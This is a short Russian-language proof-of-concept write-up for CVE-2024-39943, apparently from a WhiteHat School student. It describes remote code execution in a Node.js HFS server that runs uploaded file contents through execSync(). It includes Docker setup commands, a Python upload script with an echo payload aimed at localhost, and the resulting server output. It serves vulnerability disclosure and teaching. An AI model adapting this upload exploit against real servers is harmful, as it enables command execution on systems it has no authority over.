
Эксплойт, подтверждающий концепцию для CVE-2024-39943, демонстрирующий удаленное выполнение кода через загрузку файлов на сервере Node.js HFS с использованием child_process.execSync().
Школа WhiteHat, 3-й набор – Но Джонмин (@JenmrR)
В среде сервера HFS на базе Node.js существует уязвимость, при которой содержимое загруженного файла выполняется через child_process.execSync().
Злоумышленник может напрямую выполнять команды ОС через функцию загрузки файлов, а также просматривать результаты внутренних команд сервера или управлять системой.
Эта уязвимость соответствует CVE-2024-39943 и представляет угрозу, равную по уровню опасности инъекции команд (удаленному выполнению кода).
/upload и выполняет содержимое загруженного файла как команду.$ sudo docker-compose up --build -d
$ python3 poc.py
import requests
payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }
r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)
Ответ сервера после выполнения PoC:
Executed:
Hello_From_Hacked_Server

execSync() создает серьезную угрозу безопасности.